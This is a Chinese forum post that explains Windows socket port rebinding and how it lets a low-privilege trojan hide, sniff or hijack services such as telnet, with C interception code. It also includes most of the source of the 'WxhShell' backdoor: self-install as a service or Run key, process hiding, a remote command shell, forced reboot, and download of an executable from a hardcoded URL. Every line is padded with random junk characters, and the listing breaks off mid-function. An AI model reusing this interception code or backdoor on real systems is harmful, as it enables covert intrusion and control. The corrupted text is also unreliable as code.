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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Gsc\/4Wx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wu4NLgkE  
Xj5~%DZp  
  saddr.sin_family = AF_INET; XFh>U7z.  
yG sz2T;w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); B-T/V-c7  
_"#!e{N|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n]u<!.X  
yH<$k^0r*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EgDQ+( -  
H=\!2XS  
  这意味着什么?意味着可以进行如下的攻击: 9Y<#=C  
ZZ.m(A TR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D^-7JbE]  
_C+b]r/E  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) XbZ*&  
60)iw4<wf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hAjM1UQ,Y  
d)"?mD:m/M  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bC3 F  
4ON_$FUe  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @5[kcU>  
]Y| 9?9d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s#S%#LM  
>Z;jY*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *\o/q[  
\^V`ds*.  
  #include !2|=PB' M  
  #include fI7j):h;  
  #include |P.6<  
  #include    i9D0]3/>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k,uK6$Z  
  int main() q;:6_Qr  
  { 2EK%N'H  
  WORD wVersionRequested; $ A9%UhV  
  DWORD ret; cf7v[ZZ}  
  WSADATA wsaData; 07/L}b`P  
  BOOL val; >2?aZ`r+  
  SOCKADDR_IN saddr; !8@*F  
  SOCKADDR_IN scaddr; a@pz*e  
  int err; )kJH5/  
  SOCKET s; 0'r%,0  
  SOCKET sc; OGrBUP  
  int caddsize; K A276#  
  HANDLE mt; oiH|uIsqR  
  DWORD tid;   #DjCzz\  
  wVersionRequested = MAKEWORD( 2, 2 ); /S\cU`ZVe  
  err = WSAStartup( wVersionRequested, &wsaData ); AC.A'|"]i  
  if ( err != 0 ) { dk==?  
  printf("error!WSAStartup failed!\n"); 1,V`8 [  
  return -1; Z h/Uu6  
  } =5s F"L;b  
  saddr.sin_family = AF_INET; %G@5!|J  
   6st^4S5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T`9-VX;`  
TFepxF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Xm4CKuU@  
  saddr.sin_port = htons(23);  YOAn4]j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o y<J6  
  { 2 /y}a#s  
  printf("error!socket failed!\n"); oR*=|B  
  return -1; RAjkH`  
  } ~=Ncp9ej#  
  val = TRUE; a? R[J==  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q8MS,7y/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T|"7sPgGR  
  { ? /JBt /b  
  printf("error!setsockopt failed!\n"); Fn^C{p^  
  return -1; GyC/_ntn  
  } pX=,iOF[I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %k0EpJE%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G5tday~3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'ho{eR@d  
"*7C`y5&P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1>r ,vD&  
  { 0 3~Ikll  
  ret=GetLastError(); :h:@o h_=  
  printf("error!bind failed!\n"); (XH2Sy  
  return -1; IB|]fzy  
  } A7P`lJgv  
  listen(s,2); +/?iCmW  
  while(1) s~},y]YV  
  { E-1"+p  
  caddsize = sizeof(scaddr); ^UA(HthY  
  //接受连接请求 +@VYs*&&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); nB5Am^bP  
  if(sc!=INVALID_SOCKET) wE).>  
  { CDp8)=WJFF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); j K8'T_Pah  
  if(mt==NULL) P.sgRsL  
  { Vj; vo`T  
  printf("Thread Creat Failed!\n"); d \>2  
  break; *T4<&  
  } NfE.N&vI_c  
  } ' 9J|=z9.  
  CloseHandle(mt); Napf"Av  
  } 2@vj!U8  
  closesocket(s); 5eX59:vtl  
  WSACleanup(); v.W{x?5  
  return 0; s%;<O:x8o  
  }   :G)<}j"sM  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8 3.E0@$  
  { w5]l1}rl  
  SOCKET ss = (SOCKET)lpParam; :k46S<RE  
  SOCKET sc; %d: A`7x  
  unsigned char buf[4096]; ' eO/PnYW  
  SOCKADDR_IN saddr; CsSp=(  
  long num; zzvlI66e  
  DWORD val; AV@\ +0  
  DWORD ret; %B EC] h  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9e<Zgr?N  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ][Y^-Ak1  
  saddr.sin_family = AF_INET; 7SI)1_%G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ke/_k/  
  saddr.sin_port = htons(23); W'_/6_c$!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GoE#Mxhxo  
  { Su8'$CFz$.  
  printf("error!socket failed!\n"); C]`eH *z~8  
  return -1; `HUf v@5  
  } !v !N>f4S$  
  val = 100; "E*8h/4u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8U.$FMx :  
  { i#,1i VSG  
  ret = GetLastError(); Q2C)tVK+  
  return -1; !Y;<:zx5  
  } >,h1N$A+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s?O&ZB2GM[  
  { =LZ>s u  
  ret = GetLastError(); 2/tb6' =  
  return -1; 2H&{1f\Bf  
  } p27p~b&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |*Ot/TvG  
  { \Tq "mw9P  
  printf("error!socket connect failed!\n"); kqB\xlS7k  
  closesocket(sc); Ku3!*n_\  
  closesocket(ss); Kj*m r%IaU  
  return -1; N4[E~ -  
  } :$"7-a %f  
  while(1) R'EW7}&  
  { U($^E}I2(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L? ;/cO^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,0T)Oc|HL/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 - 8syjKTg  
  num = recv(ss,buf,4096,0); "2h5m4  
  if(num>0) A9BxwQU#  
  send(sc,buf,num,0); b*9e1/]  
  else if(num==0) QAvWJydb  
  break; ;]h.m)~|  
  num = recv(sc,buf,4096,0); -,>:DUN2  
  if(num>0) *5wv%-  
  send(ss,buf,num,0); v7@H\x*  
  else if(num==0) `?SGXXC  
  break; w67x l  
  } 8Nvr93T,  
  closesocket(ss); E:Y:X~vy  
  closesocket(sc); Lr M}?9'  
  return 0 ; onzA7Gre  
  } q[boWW  
< EXWWrm  
",ad7Y7i  
========================================================== yQS04Bl]  
}'jV/  
下边附上一个代码,,WXhSHELL Kcn\g.  
Ck(.N  
========================================================== |' @[N,  
^"`Z1)V  
#include "stdafx.h" 70<K .T<b  
b@-)Fy4d2  
#include <stdio.h> -~'kP /E^  
#include <string.h> 5}SXYA}  
#include <windows.h> &^ceOV0+  
#include <winsock2.h> =[(%n94  
#include <winsvc.h> &9h  
#include <urlmon.h> /$OIlu  
~\bHfiIDy  
#pragma comment (lib, "Ws2_32.lib") 7sN0`7  
#pragma comment (lib, "urlmon.lib") w?;b7i  
1OPfRDn.bk  
#define MAX_USER   100 // 最大客户端连接数 8g5.7{ky  
#define BUF_SOCK   200 // sock buffer !'PlDGD  
#define KEY_BUFF   255 // 输入 buffer /a%KS3>V*  
9<qx!-s2rr  
#define REBOOT     0   // 重启 ZX]A )5G  
#define SHUTDOWN   1   // 关机 -$tCF>,  
tnRJ#[Io  
#define DEF_PORT   5000 // 监听端口 'WnpwY  
tz8t9lb[  
#define REG_LEN     16   // 注册表键长度 Ey = 4 b  
#define SVC_LEN     80   // NT服务名长度 8a!2zwUBV  
tAt;bYjb\  
// 从dll定义API #x|VfN5f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >;.*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MZiF];OY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |bvGYsn_#=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W[ "HDR  
jrdtd6b}  
// wxhshell配置信息 HtS#_y%(  
struct WSCFG { @ YrGyq  
  int ws_port;         // 监听端口 573~-Jvx  
  char ws_passstr[REG_LEN]; // 口令 j~$ )c)h"  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2E([#Pzb  
  char ws_regname[REG_LEN]; // 注册表键名 HqDa2q4  
  char ws_svcname[REG_LEN]; // 服务名 x[a'(5PwY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1Y2a* J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M->Kz{h?j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |>[X<>m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PJ6$);9}6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k#-[ M.i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rX)o3>q^?  
=~;zVP   
}; ep`/:iYW  
@s?oJpo  
// default Wxhshell configuration {!tOI  
struct WSCFG wscfg={DEF_PORT, zlN+edgY#,  
    "xuhuanlingzhe", fX$6;Ae  
    1, b`?M9f5  
    "Wxhshell", ILIRI[7 (  
    "Wxhshell", ;q^,[(8  
            "WxhShell Service", _BCT.ual  
    "Wrsky Windows CmdShell Service", *ig5Q(b*N  
    "Please Input Your Password: ", ur`V{9g  
  1, 9cbB[c_.  
  "http://www.wrsky.com/wxhshell.exe", 0YHYxn  
  "Wxhshell.exe" s~#?9vW  
    }; > d)|r  
_qk9o  
// 消息定义模块 ~v,!n/('  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hXBqz9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zm5nLxM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }" g@E-]N  
char *msg_ws_ext="\n\rExit."; dfXV1B5  
char *msg_ws_end="\n\rQuit."; 1w6.   
char *msg_ws_boot="\n\rReboot..."; w`"W3(  
char *msg_ws_poff="\n\rShutdown..."; (''$' 5~  
char *msg_ws_down="\n\rSave to "; MQhYJ01i  
UfO'.8*v  
char *msg_ws_err="\n\rErr!"; &8.z$}m  
char *msg_ws_ok="\n\rOK!"; kv[OW"8t  
*E$H;wKs8  
char ExeFile[MAX_PATH]; @$_rEdwi  
int nUser = 0; PwRNBb}6  
HANDLE handles[MAX_USER]; M~#5/eRX  
int OsIsNt; WJP`0f3  
pvI&-D #}  
SERVICE_STATUS       serviceStatus; '$lw[1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d9ZDpzx B  
7=AO^:=bx  
// 函数声明 C[^a/P`i  
int Install(void); fdvi}SS8  
int Uninstall(void); pZW}^kg=  
int DownloadFile(char *sURL, SOCKET wsh);  ; \Y-  
int Boot(int flag); $K;_Wf  
void HideProc(void); x Xl$Mp7  
int GetOsVer(void); 1Q3%!~<\s  
int Wxhshell(SOCKET wsl); Es_ SCWJ  
void TalkWithClient(void *cs); c M|af#o  
int CmdShell(SOCKET sock); 06Sqn3MB  
int StartFromService(void); P2s^=J0@  
int StartWxhshell(LPSTR lpCmdLine); `7+tPbjs  
CAcOWwDm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AJdlqbd'+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^S>!kt7io  
eo-XqiJ,]  
// 数据结构和表定义 z2$F Yn Q  
SERVICE_TABLE_ENTRY DispatchTable[] = zkw0jX~  
{ tVK?VNW  
{wscfg.ws_svcname, NTServiceMain}, !hpTyO+%  
{NULL, NULL} *T1L )Cp  
}; bi,rMgW  
}d$vcEI$3  
// 自我安装 ">v_uq a  
int Install(void) uBV^nUjS"m  
{ KX&Od@cQ$  
  char svExeFile[MAX_PATH]; -uS7~Ww.a  
  HKEY key; e{d_p%(  
  strcpy(svExeFile,ExeFile); 'bd=,QW  
7~QwlU3n<F  
// 如果是win9x系统,修改注册表设为自启动 zcbA)  
if(!OsIsNt) { #<^/yoH7C6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E9 :|8#b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y$"~^8"z  
  RegCloseKey(key); t2`X!`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jp\JwE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oQKcGUZ  
  RegCloseKey(key); [ 7CH(o1a&  
  return 0; Bil;@,Z#  
    }  yS(=eB_  
  } M<hs_8_*  
} c>%z)uY>/  
else { NiU tH  
/61ag9pN  
// 如果是NT以上系统,安装为系统服务 gPn%`_d5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4B%5-VQ  
if (schSCManager!=0) 8=b{'s^^F  
{ A@lhm`Aa  
  SC_HANDLE schService = CreateService ACMpm~C8Gu  
  ( 8O}A/*1FJ  
  schSCManager, #z1ch,*3;  
  wscfg.ws_svcname, *U5> j#,  
  wscfg.ws_svcdisp, p3'mJ3MA  
  SERVICE_ALL_ACCESS, *]DJAF]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5Rt0h$_J  
  SERVICE_AUTO_START, 1f bFNxo8M  
  SERVICE_ERROR_NORMAL, Bwi[qw  
  svExeFile, (urfaZ;@+  
  NULL, Vtc)/OH  
  NULL, *RqO3=  
  NULL, {{#a%O  
  NULL, !SD [6Z.R  
  NULL ML9T (th6v  
  ); K.sj"#D  
  if (schService!=0) { ?1 mY"  
  { CgPZvB[  
  CloseServiceHandle(schService); 5i wikC=y  
  CloseServiceHandle(schSCManager); cWy*K4O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :)3$&QdHT  
  strcat(svExeFile,wscfg.ws_svcname); x X=IMM3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Dk. 9&9mz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eUUD|U*b   
  RegCloseKey(key); j)SgB7Q  
  return 0; |4 d{X@`&  
    } 4<K ,w{I  
  } LMhY"/hAXa  
  CloseServiceHandle(schSCManager); j#.-MfB  
} D;T r  
} FZ'>LZ  
PY3Vu]zD  
return 1; \c@qtIc  
} cq+M *1;  
|SXMu_w  
// 自我卸载 [laL6  
int Uninstall(void) WRU@i;l  
{ ,BN}H-W\2  
  HKEY key; t&?v9n"X  
C">=2OO  
if(!OsIsNt) { =-B3vd:LF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ot:\h  
  RegDeleteValue(key,wscfg.ws_regname); PezWc18  
  RegCloseKey(key); "T=3mv%S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y=wP3q  
  RegDeleteValue(key,wscfg.ws_regname); @_weMz8}  
  RegCloseKey(key); S.)8&  
  return 0; -QNMB4  
  } :e9jK[)h0  
} 8T1DcA*  
} A?Hjz%EcW  
else { Wx\"wlJ7.3  
x /Ky: Ky  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G cLp"  
if (schSCManager!=0) NByN}e  
{ g)G7 kB/<p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SO jDtZ  
  if (schService!=0) HjY-b*B  
  { 7g<`w LAH  
  if(DeleteService(schService)!=0) { {XUfxNDf  
  CloseServiceHandle(schService); '9F{.]  
  CloseServiceHandle(schSCManager); z E7ocul  
  return 0; e hB1`%@  
  } .$x[!fuuR&  
  CloseServiceHandle(schService); <OO/Tn'a  
  } oG_'<5Bv>  
  CloseServiceHandle(schSCManager); $@f3=NJ4k  
} rp[oH=&  
} 'krMVC-  
an5kR_=  
return 1; TD=/C|  
} d4eCBqx  
%a6]gsiv2<  
// 从指定url下载文件 ~q%9zO'  
int DownloadFile(char *sURL, SOCKET wsh) #RIfR7`T  
{ t 6IaRD  
  HRESULT hr; )A+j  
char seps[]= "/"; s^X/ Om  
char *token;  DlkKQ  
char *file; .aH?H]^  
char myURL[MAX_PATH]; }Knq9cf  
char myFILE[MAX_PATH]; (uxQBy  
fvAV[9/-  
strcpy(myURL,sURL); )mO;l/,0  
  token=strtok(myURL,seps); 21EUP6}8j  
  while(token!=NULL) )BTs *7 j  
  { :XY3TI  
    file=token; (C_o^_I:  
  token=strtok(NULL,seps); K#+]  
  } 4qXUk:C@m  
8ch~UBq/  
GetCurrentDirectory(MAX_PATH,myFILE); `1v!sSR0R  
strcat(myFILE, "\\"); $aI MQ[(  
strcat(myFILE, file); \gQ+@O&+  
  send(wsh,myFILE,strlen(myFILE),0); _89G2)U=C  
send(wsh,"...",3,0); fQA)r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 64j 4P 7  
  if(hr==S_OK) ovoI~k'  
return 0; eii7pbc  
else m%(JRh  
return 1; `A{~}6jw  
;p"XCLHl  
} 9i)mv/i  
<ORz`^27o  
// 系统电源模块 67:<X(u+!  
int Boot(int flag) !Jp.3,\?~  
{ #UN{ J6{  
  HANDLE hToken; 2EcYO$R!  
  TOKEN_PRIVILEGES tkp; +VCo=oA  
D>^ix[:J  
  if(OsIsNt) { Sqt"G6<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $^aXVy5p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q+M3Pqy  
    tkp.PrivilegeCount = 1; w% -!dbmb%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )g<qEyJR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *B}R4Y|g  
if(flag==REBOOT) { SF=|++b1f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y6DiISl  
  return 0; 9)hC,)5  
} * rANf&y  
else { LVtQ^ 5>8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 07Cuoqt2  
  return 0; zate%y  
} zO]dQ$r\Z  
  } Q&a<9e&  
  else { d~$t{46  
if(flag==REBOOT) { SLB iQd.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \> dG'  
  return 0; o=2`N2AL  
} HUI!IOh  
else { gbZX'D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M8Lj*JN  
  return 0; P[oB'  
} LtIZgOd<  
} m:7bynT{  
S60`'!y  
return 1; sgsMlZ3/  
} <W^~Y31:0  
K ePHn:c  
// win9x进程隐藏模块 0].5[Jo  
void HideProc(void) En_8H[<%  
{ },ZL8l{  
TrA Uu`?#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qz2d'OhmtH  
  if ( hKernel != NULL ) 7U0):11X#  
  { u)MA#p {  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .lS6KBf@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0zNS;wvv&  
    FreeLibrary(hKernel); 4Lb<#e13R?  
  } NFPkK?+  
HWZ*Htr  
return; {IwYoRaXa  
} m&8_i`%<  
rvO+=Tk  
// 获取操作系统版本 Q{kuB+s  
int GetOsVer(void) Y[,C1,  
{ *~X\c Z  
  OSVERSIONINFO winfo; Ms3/P|{"p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]F#kM211  
  GetVersionEx(&winfo); x B[# a*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q=(wK&  
  return 1; % m$Mn x  
  else PrxXL/6  
  return 0; 0CYI,V  
} $OuA<-  
$a1.c;NE'  
// 客户端句柄模块 o LRio.u*  
int Wxhshell(SOCKET wsl) H#akE\,  
{ uBJF}"4ej  
  SOCKET wsh; >8- `  
  struct sockaddr_in client; >cLZP#^\2E  
  DWORD myID; Y?x3JU0_  
7T78S&g  
  while(nUser<MAX_USER) ^2tCDm5  
{ ]~,'[gWb  
  int nSize=sizeof(client); n$iz   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d1TG[i<J_  
  if(wsh==INVALID_SOCKET) return 1; v\u+=}r l  
Yr@@ty  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .kV/ 0!q?  
if(handles[nUser]==0) Rk^&ras_  
  closesocket(wsh); 5#tvc4+)  
else C5FtJquGN)  
  nUser++; 0KEl+  
  } fN;y\!q5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @wz7jzMi  
mmti3Y  
  return 0; yR-.OF,c  
} I(|{/{P,  
(>'d`^kjk  
// 关闭 socket 6zSN?0c  
void CloseIt(SOCKET wsh) ZgtOy|?|  
{ wu3ZSLY  
closesocket(wsh); >d |W>|8e  
nUser--; 14O/R3+  
ExitThread(0); R lu;l  
} s RB8 jY  
57rP@,vj  
// 客户端请求句柄 *{Vyt5  
void TalkWithClient(void *cs) A,@"(3  
{ /);6 j,x  
{Gy_QRsp,  
  SOCKET wsh=(SOCKET)cs; 1l{n`gR  
  char pwd[SVC_LEN]; z841g `:C  
  char cmd[KEY_BUFF]; XCY4[2*a>  
char chr[1]; Zf! 7pM  
int i,j; H>?@nYP  
5sRNqTIr  
  while (nUser < MAX_USER) { L;;x%>  
&0myA_So  
if(wscfg.ws_passstr) { e %#f9i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rp1OC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <KCgtO  
  //ZeroMemory(pwd,KEY_BUFF); e5Z\v0  
      i=0; =W?c1EPLCx  
  while(i<SVC_LEN) { :.^{!  
-\vq-n  
  // 设置超时 Uz6B\-(0p  
  fd_set FdRead; K7U<~f$OiN  
  struct timeval TimeOut; qW9|&GuZ$  
  FD_ZERO(&FdRead); l }[ 4  
  FD_SET(wsh,&FdRead); v~SN2,h  
  TimeOut.tv_sec=8; . x$` i  
  TimeOut.tv_usec=0; Iq9+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +4 dHaj6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e3.TGv7=  
;6Z?O_zp4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SJfsFi?n  
  pwd=chr[0]; -M:.D3,L  
  if(chr[0]==0xd || chr[0]==0xa) { -Q/Dbz#-  
  pwd=0; ; 1WclQ!(  
  break; UA^E^$f:  
  } 7G(X:!   
  i++; +!rK4[W'  
    } Nz8iU@!a  
Pj$a$C`Z  
  // 如果是非法用户,关闭 socket =0A{z#6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M&L"yQA  
} |2 Dlw]d  
mdwY48b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '5IJ;4k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X~0P+E#  
{u7E)Fdl  
while(1) { p[RD[&#b  
|( KM 8  
  ZeroMemory(cmd,KEY_BUFF); B}p/ ,4x6  
V&G_Bu~  
      // 自动支持客户端 telnet标准   Y\lBPp0{\v  
  j=0; ,QDq+93  
  while(j<KEY_BUFF) { }-!$KR]:s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NEvt71k  
  cmd[j]=chr[0]; }w$/x<Q[  
  if(chr[0]==0xa || chr[0]==0xd) { j_Fr3BWS  
  cmd[j]=0; XHV+Y+VG  
  break; M9MEQK  
  } e.Ii@<  
  j++; ZyTah\yPM  
    } IMBqy-q  
RGcT  
  // 下载文件 Q x:+n`$/  
  if(strstr(cmd,"http://")) { XHW{EVcF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W[b/.u5z:  
  if(DownloadFile(cmd,wsh)) 2- )Ml*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l{ k   
  else 'lWNU   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nV'B!q  
  } 0GB6.Ggft  
  else { $*tuv ?  
%j'lWwi  
    switch(cmd[0]) { #ws6z`mt  
  pz(clTOD:  
  // 帮助 ?C_%"!GR  
  case '?': { 6rk/74gI,a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KxvT}"k  
    break; CN zK-,  
  } #SL/Jr DZ  
  // 安装 9F3`hJZRy>  
  case 'i': { r`lgK2r\  
    if(Install()) sbgRl%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; qvZ*  
    else +ISB"a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Re=bJ|wo  
    break; CnO$xE|{  
    } xx%WIY:}  
  // 卸载 ^s%Qt  
  case 'r': { S_^"$j  
    if(Uninstall()) 3p7*UVR"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pt=[XhxC(>  
    else H`fkds  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X,~8 ) W  
    break; 4}gwMjU-B  
    } GU!|J71z  
  // 显示 wxhshell 所在路径 am`eist:  
  case 'p': { J9 /w_,,R$  
    char svExeFile[MAX_PATH]; "5{\0CfS  
    strcpy(svExeFile,"\n\r"); 4((Z8@iX/  
      strcat(svExeFile,ExeFile); 9~N7hLT  
        send(wsh,svExeFile,strlen(svExeFile),0); %e _WO,R  
    break; -cG?lEh <  
    } B3K%V|;z )  
  // 重启 ]SK(cfA`  
  case 'b': { DK:d'zb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p/@z4TCNX  
    if(Boot(REBOOT)) YTY0N5["  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IUzRE?Kzf  
    else { bBjVot  
    closesocket(wsh); E#T'=f[r~  
    ExitThread(0); bMgp  
    } lG q;kIQ  
    break; rBpr1XKl,  
    } )Y)7p//  
  // 关机 ^c+6?  
  case 'd': { guBOR 0x`  
